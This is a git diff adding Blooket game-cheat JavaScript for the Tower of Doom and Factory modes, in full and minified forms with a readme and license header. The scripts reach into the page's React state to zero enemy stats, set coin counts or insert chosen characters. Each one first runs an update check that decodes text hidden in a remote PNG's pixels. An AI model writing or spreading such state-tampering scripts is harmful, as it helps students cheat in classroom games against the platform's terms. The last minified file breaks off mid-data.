DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ enemyCard: { ...stateNode.state.enemyCard, strength: 0, charisma: 0, wisdom: 0 } }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/minEnemy.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271833 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/doom/minEnemy.min.js b/cheats/doom/minEnemy.min.js new file mode 100644 index 0000000..cff9f82 --- /dev/null +++ b/cheats/doom/minEnemy.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tminEnemy.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({enemyCard:{...e.state.enemyCard,strength:0,charisma:0,wisdom:0}})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/minEnemy.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/doom/readme.md b/cheats/doom/readme.md new file mode 100644 index 0000000..53ce839 --- /dev/null +++ b/cheats/doom/readme.md @@ -0,0 +1,22 @@ +# Tower of Doom Cheats + +## [Fill Deck](fillDeck.js) +Fills your deck with every maxed out card and artifact[^1] + +## [Max Cards](maxCards.js) +Maxes out all the cards in the deck[^2] + +## [Max Health](maxHealth.js) +Fills the player's health[^2] + +## [Max Stats](maxStats.js) +Maxes out player's current card[^2] + +## [Min Enemy](minEnemy.js) +Makes the enemy card stats all 0[^2] + +## [Set Coins](setCoins.js) +Tries to set amount of tower coins you have[^2] + +[^1]: Only runnable on towers page +[^2]: Only runnable on the attribute selection page \ No newline at end of file diff --git a/cheats/doom/setCoins.js b/cheats/doom/setCoins.js new file mode 100644 index 0000000..867a869 --- /dev/null +++ b/cheats/doom/setCoins.js @@ -0,0 +1,48 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") { + let coins = parseInt("0" + alert("How many coins would you like?")); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + stateNode.props.setTowerCoins(coins); + } catch { } + } else alert("You need to be in battle to run this cheat!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/setCoins.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271836 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/doom/setCoins.min.js b/cheats/doom/setCoins.min.js new file mode 100644 index 0000000..fc57188 --- /dev/null +++ b/cheats/doom/setCoins.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsetCoins.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{var t=document.createElement("iframe");if(document.body.append(t),window.alert=t.contentWindow.prompt.bind(window),t.remove(),"/tower/battle"==window.location.pathname){var t=parseInt("0"+alert("How many coins would you like?")),e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{e.props.setTowerCoins(t)}catch{}}else alert("You need to be in battle to run this cheat!")};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/doom/setCoins.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(s,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(s.src=null,i())})(); \ No newline at end of file diff --git a/cheats/factory/chooseBlook.js b/cheats/factory/chooseBlook.js new file mode 100644 index 0000000..a904046 --- /dev/null +++ b/cheats/factory/chooseBlook.js @@ -0,0 +1,50 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + const blooks = [{ name: "Chick", color: "#ffcd05", class: "\uD83C\uDF3D", rarity: "Common", cash: [3, 7, 65, 400, 2500], time: [1, 1, 1, 1, 1], price: [300, 3e3, 3e4, 2e5] }, { name: "Chicken", color: "#ed1c24", class: "\uD83C\uDF3D", rarity: "Common", cash: [10, 40, 200, 1400, 1e4], time: [5, 4, 3, 2, 1], price: [570, 4e3, 5e4, 8e5] }, { name: "Cow", color: "#58595b", class: "\uD83C\uDF3D", rarity: "Common", cash: [25, 75, 1500, 25e3, 25e4], time: [15, 10, 10, 10, 5], price: [500, 9500, 16e4, 4e6] }, { name: "Duck", color: "#4ab96d", class: "\uD83C\uDF3D", rarity: "Common", cash: [4, 24, 200, 3e3, 4e4], time: [3, 3, 3, 3, 3], price: [450, 4200, 7e4, 11e5] }, { name: "Goat", color: "#c59a74", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 28, 200, 1300, 12e3], time: [3, 3, 2, 2, 2], price: [500, 6400, 45e3, 5e5] }, { name: "Horse", color: "#995b3c", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 20, 270, 1800, 15e3], time: [2, 2, 2, 2, 2], price: [550, 8200, 65e3, 6e5] }, { name: "Pig", color: "#f6a9cb", class: "\uD83C\uDF3D", rarity: "Common", cash: [20, 50, 1300, 8e3, 8e4], time: [7, 7, 7, 7, 5], price: [400, 11e3, 8e4, 13e5] }, { name: "Sheep", color: "#414042", class: "\uD83C\uDF3D", rarity: "Common", cash: [6, 25, 250, 1500, 11e3], time: [3, 3, 3, 2, 2], price: [500, 5e3, 5e4, 43e4] }, { name: "Cat", color: "#f49849", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 18, 170, 1700, 13e3], time: [2, 2, 2, 2, 2], price: [480, 5500, 6e4, 5e5] }, { name: "Dog", color: "#995b3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [7, 25, 220, 1900, 9e3], time: [3, 3, 2, 2, 1], price: [460, 6600, 7e4, 73e4] }, { name: "Goldfish", color: "#f18221", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 40, 350, 3500, 35e3], time: [3, 3, 3, 3, 3], price: [750, 7200, 84e3, 95e4] }, { name: "Rabbit", color: "#e7bf9a", class: "\uD83D\uDC3E", rarity: "Common", cash: [3, 18, 185, 800, 7e3], time: [2, 2, 2, 1, 1], price: [500, 5800, 56e3, 55e4] }, { name: "Hamster", color: "#ce9176", class: "\uD83D\uDC3E", rarity: "Common", cash: [10, 45, 450, 4500, 45e3], time: [4, 4, 4, 4, 4], price: [650, 6500, 8e4, 93e4] }, { name: "Turtle", color: "#619a3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [23, 120, 1400, 15e3, 17e4], time: [10, 10, 10, 10, 10], price: [700, 8500, 11e4, 13e5] }, { name: "Puppy", color: "#414042", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 10, 75, 500, 3e3], time: [1, 1, 1, 1, 1], price: [450, 4e3, 35e3, 25e4] }, { name: "Kitten", color: "#58595b", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 8, 60, 400, 2e3], time: [1, 1, 1, 1, 1], price: [350, 3500, 26e3, 17e4] }, { name: "Bear", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [12, 70, 550, 4500, 1e5], time: [7, 7, 6, 5, 5], price: [550, 5500, 63e3, 16e5] }, { name: "Moose", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [8, 45, 400, 3500, 26e3], time: [5, 5, 4, 4, 3], price: [520, 6500, 58e3, 7e5] }, { name: "Fox", color: "#f49849", class: "\uD83C\uDF32", rarity: "Common", cash: [7, 15, 80, 550, 3e3], time: [2, 2, 1, 1, 1], price: [400, 4e3, 36e3, 24e4] }, { name: "Raccoon", color: "#6d6e71", class: "\uD83C\uDF32", rarity: "Common", cash: [5, 14, 185, 1900, 19e3], time: [2, 2, 2, 2, 2], price: [400, 5e3, 71e3, 8e5] }, { name: "Squirrel", color: "#d25927", class: "\uD83C\uDF32", rarity: "Common", cash: [3, 10, 65, 470, 2600], time: [1, 1, 1, 1, 1], price: [420, 3600, 32e3, 21e4] }, { name: "Owl", color: "#594a42", class: "\uD83C\uDF32", rarity: "Common", cash: [4, 17, 155, 1500, 15e3], time: [2, 2, 2, 2, 2], price: [500, 4800, 55e3, 58e4] }, { name: "Hedgehog", color: "#3f312b", class: "\uD83C\uDF32", rarity: "Common", cash: [11, 37, 340, 2200, 3e4], time: [5, 4, 3, 2, 2], price: [540, 7e3, 77e3, 12e5] }, { name: "Seal", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 17, 150, 1200, 13e3], time: [2, 2, 2, 2, 2], price: [480, 4500, 43e3, 52e4] }, { name: "Arctic Fox", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [5, 18, 180, 850, 8500], time: [2, 2, 2, 1, 1], price: [520, 550, 61e3, 68e4] }, { name: "Snowy Owl", color: "#feda3f", class: "❄️", rarity: "Common", cash: [5, 20, 190, 1900, 16e3], time: [3, 3, 2, 2, 2], price: [370, 5300, 76e3, 62e4] }, { name: "Arctic Hare", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 19, 85, 900, 7e3], time: [2, 2, 1, 1, 1], price: [540, 5200, 66e3, 55e4] }, { name: "Penguin", color: "#fb8640", class: "❄️", rarity: "Common", cash: [4, 21, 310, 3200, 33e3], time: [3, 3, 3, 3, 3], price: [400, 6500, 76e3, 87e4] }, { name: "Baby Penguin", color: "#414042", class: "❄️", rarity: "Common", cash: [3, 8, 70, 450, 2700], time: [1, 1, 1, 1, 1], price: [420, 3300, 33e3, 23e4] }, { name: "Polar Bear", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [12, 75, 700, 6500, 85e3], time: [8, 7, 6, 5, 5], price: [630, 7e3, 91e3, 14e5] }, { name: "Walrus", color: "#7d4f33", class: "❄️", rarity: "Common", cash: [11, 46, 420, 3700, 51e3], time: [5, 5, 4, 4, 4], price: [550, 6200, 68e3, 1e6] }, { name: "Tiger", color: "#f18221", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 20, 100, 975, 7500], time: [3, 3, 1, 1, 1], price: [390, 6e3, 7e4, 61e4] }, { name: "Jaguar", color: "#fbb040", class: "\uD83C\uDF34", rarity: "Common", cash: [8, 28, 230, 1600, 17e3], time: [3, 3, 2, 2, 2], price: [390, 6e3, 7e4, 61e4] }, { name: "Toucan", color: "#ffca34", class: "\uD83C\uDF34", rarity: "Common", cash: [9, 20, 175, 625, 3800], time: [2, 2, 2, 1, 1], price: [520, 4800, 42e3, 3e5] }, { name: "Cockatoo", color: "#7ca1d5", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 35, 160, 1700, 18e3], time: [4, 4, 2, 2, 2], price: [500, 5e3, 63e3, 7e5] }, { name: "Macaw", color: "#00aeef", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 8, 85, 850, 8500], time: [1, 1, 1, 1, 1], price: [480, 5400, 62e3, 63e4] }, { name: "Parrot", color: "#ed1c24", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 9, 90, 900, 9e3], time: [1, 1, 1, 1, 1], price: [540, 5700, 65e3, 69e4] }, { name: "Panther", color: "#2f2c38", class: "\uD83C\uDF34", rarity: "Common", cash: [12, 28, 215, 2100, 21e3], time: [5, 3, 2, 2, 2], price: [530, 6500, 76e3, 87e4] }, { name: "Anaconda", color: "#8a9143", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 15, 85, 1500, 7600], time: [1, 2, 1, 2, 1], price: [410, 5100, 58e3, 59e4] }, { name: "Orangutan", color: "#bc6234", class: "\uD83C\uDF34", rarity: "Common", cash: [13, 52, 570, 4300, 7e4], time: [5, 5, 5, 4, 4], price: [600, 7e3, 8e4, 14e5] }, { name: "Capuchin", color: "#e0b0a6", class: "\uD83C\uDF34", rarity: "Common", cash: [4, 14, 160, 780, 8200], time: [2, 2, 2, 1, 1], price: [390, 4700, 57e3, 68e4] }, { name: "Elf", color: "#a7d054", class: "⚔️", rarity: "Uncommon", cash: [5e3, 15e3, 15e4, 15e5, 1e7], time: [1, 1, 1, 1, 1], price: [8e5, 9e6, 11e7, 8e8] }, { name: "Witch", color: "#4ab96d", class: "⚔️", rarity: "Uncommon", cash: [18e3, 6e4, 4e4, 4e6, 35e6], time: [3, 3, 2, 2, 2], price: [11e5, 12e6, 15e7, 14e8] }, { name: "Wizard", color: "#5a459c", class: "⚔️", rarity: "Uncommon", cash: [19500, 65e3, 44e4, 46e5, 4e6], time: [3, 3, 2, 2, 2], price: [13e5, 135e5, 16e7, 16e8] }, { name: "Fairy", color: "#df6d9c", class: "⚔️", rarity: "Uncommon", cash: [18500, 6e4, 62e4, 44e5, 38e6], time: [3, 3, 3, 2, 2], price: [12e5, 125e5, 15e6, 15e8] }, { name: "Slime Monster", color: "#2fa04a", class: "⚔️", rarity: "Uncommon", cash: [35e3, 14e4, 1e6, 11e6, 11e7], time: [5, 5, 4, 4, 4], price: [16e5, 15e6, 2e8, 23e8] }, { name: "Jester", color: "#be1e2d", class: "⚔️", rarity: "Rare", cash: [25e3, 1e5, 68e4, 65e5, 32e6], time: [3, 3, 2, 2, 1], price: [2e6, 21e6, 23e7, 26e8] }, { name: "Dragon", color: "#2fa04a", class: "⚔️", rarity: "Rare", cash: [36e3, 15e4, 15e5, 15e6, 15e7], time: [4, 4, 4, 4, 4], price: [23e5, 24e6, 27e7, 3e9] }, { name: "Unicorn", color: "#f6afce", class: "⚔️", rarity: "Epic", cash: [24e3, 15e4, 14e5, 7e6, 75e6], time: [2, 2, 2, 1, 1], price: [45e5, 45e6, 55e7, 65e8] }, { name: "Queen", color: "#9e1f63", class: "⚔️", rarity: "Rare", cash: [24e3, 95e3, 95e4, 97e5, 95e6], time: [3, 3, 3, 3, 3], price: [19e5, 2e7, 23e7, 25e8] }, { name: "King", color: "#ee2640", class: "⚔️", rarity: "Legendary", cash: [75e3, 4e5, 6e6, 9e7, 125e7], time: [5, 5, 5, 5, 5], price: [6e6, 95e6, 16e8, 25e9] }, { name: "Two of Spades", color: "#414042", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [4500, 14e3, 14e4, 14e5, 9e6], time: [1, 1, 1, 1, 1], price: [77e4, 83e5, 98e6, 71e7] }, { name: "Eat Me", color: "#d58c55", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 45e3, 45e4, 45e5, 5e7], time: [2, 2, 2, 2, 2], price: [13e5, 14e6, 16e7, 2e9] }, { name: "Drink Me", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [12e3, 4e4, 4e5, 4e6, 45e6], time: [2, 2, 2, 2, 2], price: [12e5, 12e6, 14e7, 18e8] }, { name: "Alice", color: "#4cc9f5", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 42e3, 21e4, 21e5, 23e6], time: [2, 2, 1, 1, 1], price: [12e5, 13e6, 15e7, 19e8] }, { name: "Queen of Hearts", color: "#d62027", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [23e3, 87e3, 62e4, 75e5, 9e7], time: [4, 4, 3, 3, 3], price: [13e5, 13e6, 18e7, 24e8] }, { name: "Dormouse", color: "#89d6f8", class: "\uD83C\uDFF0", rarity: "Rare", cash: [17e3, 68e3, 7e5, 35e5, 35e6], time: [2, 2, 1, 1, 1], price: [2e6, 22e6, 25e7, 28e8] }, { name: "White Rabbit", color: "#ffcd05", class: "\uD83C\uDFF0", rarity: "Rare", cash: [26e3, 105e3, 11e6, 77e5, 72e6], time: [3, 3, 3, 2, 2], price: [2e6, 23e6, 28e7, 29e8] }, { name: "Cheshire Cat", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Rare", cash: [32e3, 1e5, 9e5, 9e6, 6e7], time: [4, 3, 3, 3, 2], price: [18e5, 19e6, 22e7, 24e8] }, { name: "Caterpillar", color: "#00c0f3", class: "\uD83C\uDFF0", rarity: "Epic", cash: [1e4, 7e4, 65e4, 75e5, 85e6], time: [1, 1, 1, 1, 1], price: [42e5, 42e6, 54e7, 69e8] }, { name: "Mad Hatter", color: "#914f93", class: "\uD83C\uDFF0", rarity: "Epic", cash: [38e3, 25e4, 15e5, 14e6, 8e7], time: [3, 3, 2, 2, 1], price: [48e5, 48e6, 52e7, 66e8] }, { name: "King of Hearts", color: "#c62127", class: "\uD83C\uDFF0", rarity: "Legendary", cash: [8e4, 42e4, 68e5, 1e8, 15e8], time: [5, 5, 5, 5, 5], price: [7e6, 11e7, 18e8, 3e10] }, { name: "Earth", color: "#416eb5", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [15e3, 45e3, 6e5, 65e5, 65e6], time: [3, 3, 3, 3, 3], price: [1e6, 11e6, 15e7, 17e8] }, { name: "Meteor", color: "#c68c3c", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [23e3, 65e3, 7e5, 45e5, 2e7], time: [5, 4, 3, 2, 1], price: [95e4, 13e6, 16e7, 16e8] }, { name: "Stars", color: "#19184d", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [1e4, 4e4, 2e5, 2e6, 18e6], time: [2, 2, 1, 1, 1], price: [14e5, 14e6, 15e7, 15e8] }, { name: "Alien", color: "#8dc63f", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [3e4, 1e5, 1e6, 11e6, 85e6], time: [4, 4, 4, 4, 4], price: [15e5, 17e6, 19e7, 17e8] }, { name: "Planet", color: "#9dc6ea", class: "\uD83D\uDE80", rarity: "Rare", cash: [25e3, 1e5, 9e5, 9e6, 9e7], time: [3, 3, 3, 3, 3], price: [2e6, 21e6, 21e7, 24e8] }, { name: "UFO", color: "#a15095", class: "\uD83D\uDE80", rarity: "Rare", cash: [17e3, 7e4, 7e5, 7e6, 7e7], time: [2, 2, 2, 2, 2], price: [21e5, 23e6, 25e7, 28e8] }, { name: "Spaceship", color: "#ffcb29", class: "\uD83D\uDE80", rarity: "Epic", cash: [6e4, 32e4, 21e5, 15e6, 85e6], time: [5, 4, 3, 2, 1], price: [48e5, 46e6, 54e7, 68e8] }, { name: "Astronaut", color: "#9bd4ee", class: "\uD83D\uDE80", rarity: "Legendary", cash: [45e3, 26e4, 25e5, 38e6, 55e7], time: [3, 3, 2, 2, 2], price: [65e5, 1e8, 17e8, 27e9] }, { name: "Lil Bot", color: "#3e564a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [4e3, 12e3, 18e4, 19e5, 25e6], time: [1, 1, 1, 1, 1], price: [73e4, 12e6, 13e7, 19e8] }, { name: "Lovely Bot", color: "#f179af", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [16e3, 65e3, 65e4, 48e5, 42e6], time: [3, 3, 3, 2, 2], price: [13e5, 14e6, 17e7, 16e8] }, { name: "Angry Bot", color: "#f1613a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [22e3, 85e3, 8e5, 62e5, 65e6], time: [4, 4, 4, 3, 3], price: [12e5, 13e6, 15e7, 17e8] }, { name: "Happy Bot", color: "#51ba6b", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [11e3, 45e3, 5e5, 25e5, 3e7], time: [2, 2, 2, 1, 1], price: [14e5, 15e6, 18e7, 24e8] }, { name: "Watson", color: "#d69b5a", class: "\uD83E\uDD16", rarity: "Rare", cash: [24e3, 1e5, 1e6, 1e7, 1e8], time: [3, 3, 3, 3, 3], price: [2e6, 22e6, 24e7, 26e8] }, { name: "Buddy Bot", color: "#9dc6ea", class: "\uD83E\uDD16", rarity: "Rare", cash: [22e3, 95e3, 65e4, 65e5, 65e6], time: [3, 3, 2, 2, 2], price: [19e5, 21e6, 23e7, 25e8] }, { name: "Brainy Bot", color: "#9ecf7a", class: "\uD83E\uDD16", rarity: "Epic", cash: [5e4, 25e4, 21e5, 21e6, 17e7], time: [4, 3, 3, 3, 2], price: [5e6, 46e6, 5e8, 67e8] }, { name: "Mega Bot", color: "#d71f27", class: "\uD83E\uDD16", rarity: "Legendary", cash: [8e4, 43e4, 42e5, 62e6, 1e9], time: [5, 5, 3, 3, 3], price: [7e6, 12e7, 19e8, 35e9] }]; + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const blook = blooks.find(function ({ name }) { return name.toLowerCase() == this }, prompt("Enter blook name:").toLowerCase()); + if (blook) { + if (stateNode.state.blooks.length >= 10) alert("Choose a blook to replace"); + stateNode.chooseBlook(blook); + } + else alert("That is not a valid blook!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/chooseBlook.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271841 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/chooseBlook.min.js b/cheats/factory/chooseBlook.min.js new file mode 100644 index 0000000..808da8a --- /dev/null +++ b/cheats/factory/chooseBlook.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let m=document.querySelector("iframe");m.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),m.contentWindow.console.log.call(window,"%c\tchooseBlook.js","color: #0bc2cf; font-size: 1rem"),m.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const t=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"]),a=[{name:"Chick",color:"#ffcd05",class:"🌽",rarity:"Common",cash:[3,7,65,400,2500],time:[1,1,1,1,1],price:[300,3e3,3e4,2e5]},{name:"Chicken",color:"#ed1c24",class:"🌽",rarity:"Common",cash:[10,40,200,1400,1e4],time:[5,4,3,2,1],price:[570,4e3,5e4,8e5]},{name:"Cow",color:"#58595b",class:"🌽",rarity:"Common",cash:[25,75,1500,25e3,25e4],time:[15,10,10,10,5],price:[500,9500,16e4,4e6]},{name:"Duck",color:"#4ab96d",class:"🌽",rarity:"Common",cash:[4,24,200,3e3,4e4],time:[3,3,3,3,3],price:[450,4200,7e4,11e5]},{name:"Goat",color:"#c59a74",class:"🌽",rarity:"Common",cash:[5,28,200,1300,12e3],time:[3,3,2,2,2],price:[500,6400,45e3,5e5]},{name:"Horse",color:"#995b3c",class:"🌽",rarity:"Common",cash:[5,20,270,1800,15e3],time:[2,2,2,2,2],price:[550,8200,65e3,6e5]},{name:"Pig",color:"#f6a9cb",class:"🌽",rarity:"Common",cash:[20,50,1300,8e3,8e4],time:[7,7,7,7,5],price:[400,11e3,8e4,13e5]},{name:"Sheep",color:"#414042",class:"🌽",rarity:"Common",cash:[6,25,250,1500,11e3],time:[3,3,3,2,2],price:[500,5e3,5e4,43e4]},{name:"Cat",color:"#f49849",class:"🐾",rarity:"Common",cash:[5,18,170,1700,13e3],time:[2,2,2,2,2],price:[480,5500,6e4,5e5]},{name:"Dog",color:"#995b3c",class:"🐾",rarity:"Common",cash:[7,25,220,1900,9e3],time:[3,3,2,2,1],price:[460,6600,7e4,73e4]},{name:"Goldfish",color:"#f18221",class:"🐾",rarity:"Common",cash:[5,40,350,3500,35e3],time:[3,3,3,3,3],price:[750,7200,84e3,95e4]},{name:"Rabbit",color:"#e7bf9a",class:"🐾",rarity:"Common",cash:[3,18,185,800,7e3],time:[2,2,2,1,1],price:[500,5800,56e3,55e4]},{name:"Hamster",color:"#ce9176",class:"🐾",rarity:"Common",cash:[10,45,450,4500,45e3],time:[4,4,4,4,4],price:[650,6500,8e4,93e4]},{name:"Turtle",color:"#619a3c",class:"🐾",rarity:"Common",cash:[23,120,1400,15e3,17e4],time:[10,10,10,10,10],price:[700,8500,11e4,13e5]},{name:"Puppy",color:"#414042",class:"🐾",rarity:"Common",cash:[4,10,75,500,3e3],time:[1,1,1,1,1],price:[450,4e3,35e3,25e4]},{name:"Kitten",color:"#58595b",class:"🐾",rarity:"Common",cash:[4,8,60,400,2e3],time:[1,1,1,1,1],price:[350,3500,26e3,17e4]},{name:"Bear",color:"#995b3c",class:"🌲",rarity:"Common",cash:[12,70,550,4500,1e5],time:[7,7,6,5,5],price:[550,5500,63e3,16e5]},{name:"Moose",color:"#995b3c",class:"🌲",rarity:"Common",cash:[8,45,400,3500,26e3],time:[5,5,4,4,3],price:[520,6500,58e3,7e5]},{name:"Fox",color:"#f49849",class:"🌲",rarity:"Common",cash:[7,15,80,550,3e3],time:[2,2,1,1,1],price:[400,4e3,36e3,24e4]},{name:"Raccoon",color:"#6d6e71",class:"🌲",rarity:"Common",cash:[5,14,185,1900,19e3],time:[2,2,2,2,2],price:[400,5e3,71e3,8e5]},{name:"Squirrel",color:"#d25927",class:"🌲",rarity:"Common",cash:[3,10,65,470,2600],time:[1,1,1,1,1],price:[420,3600,32e3,21e4]},{name:"Owl",color:"#594a42",class:"🌲",rarity:"Common",cash:[4,17,155,1500,15e3],time:[2,2,2,2,2],price:[500,4800,55e3,58e4]},{name:"Hedgehog",color:"#3f312b",class:"🌲",rarity:"Common",cash:[11,37,340,2200,3e4],time:[5,4,